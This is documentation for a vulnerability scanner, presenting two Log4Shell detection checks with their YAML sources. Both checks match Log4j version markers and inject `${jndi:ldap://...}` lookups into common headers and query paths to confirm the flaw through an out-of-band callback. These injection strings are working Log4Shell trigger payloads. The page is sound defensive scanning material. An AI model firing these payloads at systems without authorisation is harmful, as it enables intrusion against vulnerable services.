Apache Log4j (Log4Shell) — 2 vulnerability checks

noctis ships 2 vulnerability checks for Apache Log4j (Log4Shell), covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache Log4j2 JNDI RCE (Log4Shell incomplete-fix follow-up)

CVECVE-2021-45046
Severitycritical · CVSS 9.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionmatch, http_request, wait_oob · highest QoD 97
Feedtests/vulnerabilities/log4shell/CVE-2021-45046.yaml

Detects Log4j 2.0-2.15 from a version marker in the response headers or the exposed log4j-core pom.properties. With an OOB server, sends a ${jndi:ldap://...} lookup in common logged headers and query parameters and confirms the finding when the target performs the LDAP lookup back to the scanner (anonymous bind, then a search on the per-scan token); the scanner returns an empty result, so nothing is loaded.

How noctis detects it

  1. Checks probe.headers for log4j[/ -](2\.(?:1[0-5]|[0-9])(?:\.[0-9]+)?)(?:[^.0-9]|$) → finding QoD 70: Header: …
  2. HTTP(S) request GET /META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
  3. Checks maven_resp.body for version=(2\.(?:1[0-5]|[0-9])(?:\.[0-9]+)?)(?:[^.0-9]|$) → finding QoD 75: pom.properties: …
  4. HTTP(S) request GET /, for each of 5 values
  5. HTTP(S) request GET {{current_path}}$%7Bjndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}%7D, for each of 3 values
  6. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB callback received: …

References:

Feed source — tests/vulnerabilities/log4shell/CVE-2021-45046.yaml
# Log4Shell follow-up — CVE-2021-45046
#
# CVE-2021-45046 is the follow-up to CVE-2021-44228: the 2.15.0 fix was
# incomplete, leaving a JNDI lookup path reachable in non-default
# configurations. Affected versions are 2.0-beta9 through 2.15.0 (2.12.x
# excepted at 2.12.2); fixed in 2.16.0.
#
# Two detection methods with different QoD:
#
#   1. Version-based (QoD up to 75 — remote_banner / response analysis)
#      Looks for a Log4j 2.0-2.15 marker in response headers or the exposed
#      Maven pom.properties. Low confidence, no extra infrastructure.
#
#   2. OOB callback (QoD 97 — remote_app)
#      Injects JNDI payloads (headers + query) and waits for the LDAP lookup
#      (bind, then search on the token DN) the target makes to the noctis OOB
#      server. High confidence. Requires --oob --oob-host <reachable-ip>.
#      Automatically skipped if --oob is not configured.
uid: d1f83751-b9ae-4fd9-8e6c-a59a5f497e6c
name: "Apache Log4j2 JNDI RCE (Log4Shell incomplete-fix follow-up)"
description: "Detects Log4j 2.0-2.15 from a version marker in the response headers or the exposed log4j-core pom.properties. With an OOB server, sends a ${jndi:ldap://...} lookup in common logged headers and query parameters and confirms the finding when the target performs the LDAP lookup back to the scanner (anonymous bind, then a search on the per-scan token); the scanner returns an empty result, so nothing is loaded."
cves: [CVE-2021-45046]
cvss: 9.0
severity: critical
category: rce
confidence_base: 0.30
tags: [java, log4j, rce, jndi, oob]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-45046"
  - "https://logging.apache.org/log4j/2.x/security.html"

includes:
  - ../../common/http_base.yaml   # step `probe`: GET / → {{probe.status}}, {{probe.headers}}, {{probe.body}}

vars:
  jndi_payload: "${jndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}}"

# ── Method 1: version-based detection ─────────────────────────────────────

steps:
  # Headers that sometimes expose the Log4j or Java framework version
  - id: version-in-headers
    action: match
    source: probe.headers
    # Log4j 2.0-2.15 — still affected by CVE-2021-45046 (fixed in 2.16.0)
    pattern: "log4j[/ -](2\\.(?:1[0-5]|[0-9])(?:\\.[0-9]+)?)(?:[^.0-9]|$)"
    case_insensitive: true
    on_match:
      finding:
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "Header: {{probe.headers}}"

  # Exposed Maven properties file — often contains the exact version
  - id: probe-maven-meta
    action: http_request
    method: GET
    path: /META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 8
    store_as: maven_resp

  - id: version-in-pom
    action: match
    source: maven_resp.body
    pattern: "version=(2\\.(?:1[0-5]|[0-9])(?:\\.[0-9]+)?)(?:[^.0-9]|$)"
    condition: "maven_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "pom.properties: {{maven_resp.body}}"

# ── Method 2: OOB callback (QoD 97) ───────────────────────────────────────
# Steps below are skipped if --oob is not configured.

  - id: inject-headers
    action: http_request
    method: GET
    path: /
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      "{{current_header}}": "${jndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}}"
    store_as: inject_response
    condition: "oob_enabled"
    loop:
      over:
        - X-Api-Version
        - X-Forwarded-For
        - User-Agent
        - Referer
        - X-Client-IP
      var: current_header

  # Many apps log the request line or a parameter rather than the headers
  # (Solr logs /solr/admin/cores?action=…), so also send the payload in the query.
  - id: inject-query
    action: http_request
    method: GET
    path: "{{current_path}}$%7Bjndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}%7D"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: inject_query_response
    condition: "oob_enabled"
    loop:
      over:
        - "/?q="
        - "/solr/admin/cores?action="
        - "/login?username="
      var: current_path

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received: {{oob_result.body}}"
      stop: true

Apache Log4j2 JNDI RCE (Log4Shell)

CVECVE-2021-44228
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionmatch, http_request, wait_oob · highest QoD 97
Feedtests/vulnerabilities/log4shell/CVE-2021-44228.yaml

Detects a vulnerable Log4j 2.x version from a version marker in the response headers or the exposed log4j-core pom.properties. With an OOB server, sends a ${jndi:ldap://...} lookup in common logged headers and query parameters and confirms the finding when the target performs the LDAP lookup back to the scanner (anonymous bind, then a search on the per-scan token); the scanner returns an empty result, so nothing is loaded.

How noctis detects it

  1. Checks probe.headers for log4j[/ -](2\.(?:1[0-6]|[0-9])(?:\.[0-9]+)?)(?:[^.0-9]|$) → finding QoD 70: Header: …
  2. HTTP(S) request GET /META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
  3. Checks maven_resp.body for version=(2\.(?:1[0-6]|[0-9])(?:\.[0-9]+)?)(?:[^.0-9]|$) → finding QoD 75: pom.properties: …
  4. HTTP(S) request GET /, for each of 5 values
  5. HTTP(S) request GET {{current_path}}$%7Bjndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}%7D, for each of 3 values
  6. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB callback received: …

References:

Feed source — tests/vulnerabilities/log4shell/CVE-2021-44228.yaml
# Log4Shell — CVE-2021-44228
#
# Two detection methods with different QoD:
#
#   1. Version-based (QoD 70 — remote_banner)
#      Looks for Log4j markers in headers, error responses, and exposed files.
#      Low confidence, no extra infrastructure required.
#
#   2. OOB callback (QoD 97 — remote_app)
#      Injects JNDI payloads (headers + query) and waits for the LDAP lookup
#      the target makes to the noctis OOB server (bind, then search on the token DN).
#      High confidence. Requires --oob --oob-host <reachable-ip>.
#      Automatically skipped if --oob is not configured.
uid: 284ebfde-3ed3-438a-9f8b-e72cbb2e6d0f
name: "Apache Log4j2 JNDI RCE (Log4Shell)"
description: "Detects a vulnerable Log4j 2.x version from a version marker in the response headers or the exposed log4j-core pom.properties. With an OOB server, sends a ${jndi:ldap://...} lookup in common logged headers and query parameters and confirms the finding when the target performs the LDAP lookup back to the scanner (anonymous bind, then a search on the per-scan token); the scanner returns an empty result, so nothing is loaded."
cves: [CVE-2021-44228]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [java, log4j, rce, jndi, oob]
services: [http, https]
author: florian
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-44228"
  - "https://logging.apache.org/log4j/2.x/security.html"

includes:
  - ../../common/http_base.yaml   # step `probe`: GET / → {{probe.status}}, {{probe.headers}}, {{probe.body}}

vars:
  jndi_payload: "${jndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}}"
  injection_headers:
    - X-Api-Version
    - X-Forwarded-For
    - User-Agent
    - Referer
    - X-Client-IP

# ── Method 1: version-based detection (QoD 70) ────────────────────────────

steps:
  # Headers that sometimes expose the Log4j or Java framework version
  - id: version-in-headers
    action: match
    source: probe.headers
    # Log4j 2.0–2.16 unpatched, or frameworks exposing their version
    pattern: "log4j[/ -](2\\.(?:1[0-6]|[0-9])(?:\\.[0-9]+)?)(?:[^.0-9]|$)"
    case_insensitive: true
    on_match:
      finding:
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "Header: {{probe.headers}}"

  # Exposed Maven properties file — often contains the exact version
  - id: probe-maven-meta
    action: http_request
    method: GET
    path: /META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 8
    store_as: maven_resp

  - id: version-in-pom
    action: match
    source: maven_resp.body
    pattern: "version=(2\\.(?:1[0-6]|[0-9])(?:\\.[0-9]+)?)(?:[^.0-9]|$)"
    condition: "maven_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "pom.properties: {{maven_resp.body}}"

# ── Method 2: OOB callback (QoD 97) ───────────────────────────────────────
# Steps below are skipped if --oob is not configured.

  - id: inject-headers
    action: http_request
    method: GET
    path: /
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    headers:
      "{{current_header}}": "${jndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}}"
    store_as: inject_response
    condition: "oob_enabled"
    loop:
      over:
        - X-Api-Version
        - X-Forwarded-For
        - User-Agent
        - Referer
        - X-Client-IP
      var: current_header

  # Many apps log the request line or a parameter rather than the headers
  # (Solr logs /solr/admin/cores?action=…), so also send the payload in the query.
  - id: inject-query
    action: http_request
    method: GET
    path: "{{current_path}}$%7Bjndi:ldap://{{oob_host}}:{{oob_port}}/{{oob_token}}%7D"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: inject_query_response
    condition: "oob_enabled"
    loop:
      over:
        - "/?q="
        - "/solr/admin/cores?action="
        - "/login?username="
      var: current_path

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "OOB callback received: {{oob_result.body}}"
      stop: true

View these feeds on GitHub